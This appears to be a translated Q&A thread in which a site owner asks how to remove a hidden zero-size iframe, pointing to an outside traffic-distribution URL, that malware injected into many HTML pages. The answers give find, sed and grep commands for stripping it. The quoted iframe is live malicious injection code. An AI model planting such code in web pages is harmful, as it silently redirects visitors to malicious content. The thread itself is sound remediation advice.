恶意软件攻击我的服务器并添加了行
<iframe src="http://pokosa.com/tds/go.php?sid=1" width="0" height="0" frameborder="0"></iframe>
到我的许多页面
我如何用grep删除它,或者如果有任何其他方法我可以从受影响的所有文件中删除它
编辑:我看到了关于使用sed的评论,但我需要一个递归解决方案,如果有一个
感谢
答案 0 :(得分:4)
您可以使用find
和sed
递归查找所有感兴趣的文件,并从中删除违规行。
例如,以下命令将从当前目录及其所有子目录中删除所有.html
文件中的违规行。
find . -name "*.html" -exec sed -i 's/<iframe src="http:\/\/pokosa.com\/tds\/go.php?sid=1" width="0" height="0" frameborder="0"><\/iframe>//' {} \;
答案 1 :(得分:3)
您可以使用sed
替换文件。像
$ sed -i.bak 's|<iframe src="http://pokosa.com.*</iframe>||' your-file
应该为单个文件执行此操作。人们传统上使用/
作为分隔符,但如果搜索字符串中有许多/
s,则会变得很麻烦。使用|
比较容易。
将sed
与find
和xargs
相结合,为多个文件执行相同操作:
$ find /var/www -name "*.html" -print0 | xargs -0 sed -i.bak 's|<iframe ...>||'
答案 2 :(得分:2)
最简单的方法可能是倒置grep
:
$ grep -v pokosa < input > output
您可能希望使用一些额外的后缀使输出与输入相同,然后在重命名输入文件之前运行一些diff:s来验证它是否做了正确的事情。